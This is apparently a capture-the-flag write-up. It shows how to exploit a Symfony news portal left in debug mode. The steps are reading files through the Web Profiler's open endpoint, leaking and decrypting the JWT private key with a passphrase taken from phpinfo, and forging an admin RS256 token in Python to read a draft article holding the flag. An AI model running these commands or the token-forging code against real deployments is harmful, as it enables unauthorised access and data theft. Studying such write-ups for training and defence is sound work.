Bug News
Bug News
Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-29 | Status: Solved Techniques: draft_article_disclosure, encrypted_pem_decrypt_with_known_passphrase, profiler_open_file_read, relative_path_requirement, rs256_jwt_forgery
Summary
Task: Symfony 8 news portal accidentally left in DEV mode (APP_DEBUG=1) with the Web Profiler exposed; the flag lives in a draft article behind an admin-only RS256-JWT API. Solution: use /_profiler/open with a project-relative path for arbitrary file read, leak the encrypted JWT private key, decrypt it with JWT_PASSPHRASE from /_profiler/phpinfo, forge an admin RS256 token, and read the draft article.
Bug News — bug-makers
Description
Bug News — a Symfony news portal. Target: https://bug-news.t1.bug-makers.ru/
English summary: A Symfony 8.0.8 (PHP 8.4.20) news portal is accidentally running in DEV mode (APP_DEBUG=1, APP_ENV=dev) with the Symfony Web Profiler reachable in production. The flag is stored in an unpublished DRAFT article (id=2, is_published=0) that is only returned by the admin-only, JWT-protected endpoint GET /admin-api/articles. The challenge name "Bug News" and internal project name bug_pr0f1ler (leet for "profiler"), together with the flag text, point at the root cause: the Symfony Web Profiler was left enabled in production.
Analysis
Recon / tech stack
- PHP 8.4.20, Symfony 8.0.8, served by the PHP built-in dev server (
php -S 0.0.0.0:8000 -t public). LexikJWTAuthenticationBundle, RS256, file-based keypair generated viaphp bin/console lexik:jwt:generate-keypair.- SQLite DB at
/var/www/bug_pr0f1ler_data/app.db(outside docroot). - App path:
/var/www/bug_pr0f1ler. - Two firewalls:
main(AdminUserProvider, no authenticators) andadmin_api(JWT bearer).
Routes
GET /api/articles— public, hardcoded query returning only published articles.POST /admin-api/login-check— JSON{username,password}→{token}.GET /admin-api/articles— JWT-protected, lists ALL articles including drafts./admin,/admin/login,/admin/articles— client-side JWT pages./health,/_profiler/— the latter should not be public.
Root cause
Because APP_DEBUG=1, the Symfony Web Profiler routes are exposed. The critical one is:
GET /_profiler/open?file=<path>&line=<n> -> ARBITRARY FILE READ
The open action resolves $filename = $this->baseDir . '/' . $file, where baseDir is the Symfony project directory (/var/www/bug_pr0f1ler). It only blocks path segments containing a dot (preg_match("'(^|[/\\\\])\.'", $file)), which rejects ../ and dotfiles, and requires is_readable. The whole project tree is readable.
Critical gotcha: the file parameter MUST be a path RELATIVE to the project dir. Passing an ABSOLUTE path returns 404 — this initially looks like the endpoint is disabled, but it is just the relative-path requirement.
GET /_profiler/phpinfo is also accessible and leaks every env var:
APP_SECRET=fb3663aece0a99372694713f92f657f5
JWT_PASSPHRASE=fc27e19ba4aa4f34b1126d92f2f8c24a
ADMIN_API_ADMIN_LOGIN=admin
DATABASE_URL=sqlite:////var/www/bug_pr0f1ler_data/app.db
disable_functions and open_basedir are both empty.
Solution
The winning chain: profiler arbitrary file read → leak encrypted JWT private key → decrypt with known passphrase → forge admin RS256 token → read draft article.
1. Confirm arbitrary file read (relative path!)
bash read-only • copy allowedcurl -s "https://bug-news.t1.bug-makers.ru/_profiler/open?file=src/Controller/SecurityController.php&line=40"
The response is an HTML page where source lines are rendered as <ol><li> items; parse them. An ABSOLUTE path here returns 404 — always use a project-relative path.
2. Locate the JWT keys
bash read-only • copy allowedcurl -s "https://bug-news.t1.bug-makers.ru/_profiler/open?file=config/packages/lexik_jwt_authentication.yaml&line=1"
Reveals:
yaml read-only • copy allowedlexik_jwt_authentication: secret_key: '%kernel.project_dir%/config/jwt/private.pem' public_key: '%kernel.project_dir%/config/jwt/public.pem' pass_phrase: '%env(JWT_PASSPHRASE)%' token_ttl: 86400
3. Read the encrypted private key
bash read-only • copy allowedcurl -s "https://bug-news.t1.bug-makers.ru/_profiler/open?file=config/jwt/private.pem&line=1" \ | python3 -c "import sys,re,html; print('\n'.join(html.unescape(re.sub('<[^>]+>','',l)) for l in sys.stdin.read().splitlines() if 'PRIVATE KEY' in l or l.strip().endswith('=') or len(l.strip())==64))"
You get a -----BEGIN ENCRYPTED PRIVATE KEY----- PEM block. Save it as jwt_private.pem.
4. Decrypt the private key with the known passphrase
JWT_PASSPHRASE was leaked from /_profiler/phpinfo:
bash read-only • copy allowedopenssl pkey -in jwt_private.pem \ -passin pass:fc27e19ba4aa4f34b1126d92f2f8c24a \ -out jwt_private_dec.pem
5. Forge an admin RS256 JWT
The SecurityController builds the token from new InMemoryUser('admin', null, ['ROLE_ADMIN']), so Lexik emits claims username, roles, iat, exp.
python read-only • copy allowed#!/usr/bin/env python3 import jwt, time # pip install pyjwt key = open('jwt_private_dec.pem').read() now = int(time.time()) tok = jwt.encode( {"iat": now, "exp": now + 86400, "roles": ["ROLE_ADMIN"], "username": "admin"}, key, algorithm="RS256", ) print(tok)
6. Call the admin API with the forged token
bash read-only • copy allowedTOK="<token from step 5>" curl -s https://bug-news.t1.bug-makers.ru/admin-api/articles \ -H "Authorization: Bearer $TOK"
The response includes draft article id=2 (isPublished:false) whose content is the flag:
BugCTF{REDACTED}
Supporting detail (secondary techniques)
Auth logic (read via profiler file-read)
php read-only • copy allowed$username = trim((string)($payload['username'] ?? '')); $password = (string)($payload['password'] ?? ''); $expectedUsername = $_ENV['ADMIN_API_ADMIN_LOGIN'] ?? 'admin'; if ($username !== $expectedUsername || !$adminUserRepository->validateCredentials($expectedUsername, $password)) { return 'Invalid credentials.'; } $user = new InMemoryUser($expectedUsername, null, ['ROLE_ADMIN']); return new JsonResponse(['token' => $jwtTokenManager->create($user)]);
AdminUserRepository::validateCredentials compares the password via hash_equals against a PLAINTEXT value in admin_user (unless it starts with $2y$/$argon2, then password_verify). So login would also be crackable if the DB were readable, but the JWT-key-leak path is cleaner and intended.
Debug error pages as a secondary source-disclosure primitive
POSTing {"username":["x"],"password":"y"} with Accept: text/html to /admin-api/login-check triggers a PHP "Array to string conversion" warning, and Symfony renders a full HTML exception page with ~10 lines of highlighted source around the error line. It only reveals source near controllable error lines (capped around line 33), so /_profiler/open is strictly more powerful.
Entrypoint
docker/entrypoint.sh (read via file-read) runs lexik:jwt:generate-keypair --skip-if-exists then doctrine:migrations:migrate, confirming the keys are file-based and decryptable with JWT_PASSPHRASE.
Rabbit holes / failed approaches
- JWT forgery before obtaining the key — HS256/384/512 over APP_SECRET & JWT_PASSPHRASE, EdDSA from passphrase-derived seeds,
alg:none, malformed signatures: all cleanly rejected (RS256 with a real key required). - Brute-forcing the admin password (10k+ wordlist) — futile.
- SQL injection in
/api/articles— query is fully hardcoded; params ignored. - The
ProfilerRequestFilterSubscribercookie logic (main_deauth_profile_token/main_auth_profile_token, disabling profiling for/admin-api/*) — a decoy/rabbit-hole. - Profiler DB "explain" action — only ever runs EXPLAIN QUERY PLAN on the single hardcoded published-articles query.
- Absolute paths in
/_profiler/open— return 404; must use project-relative paths.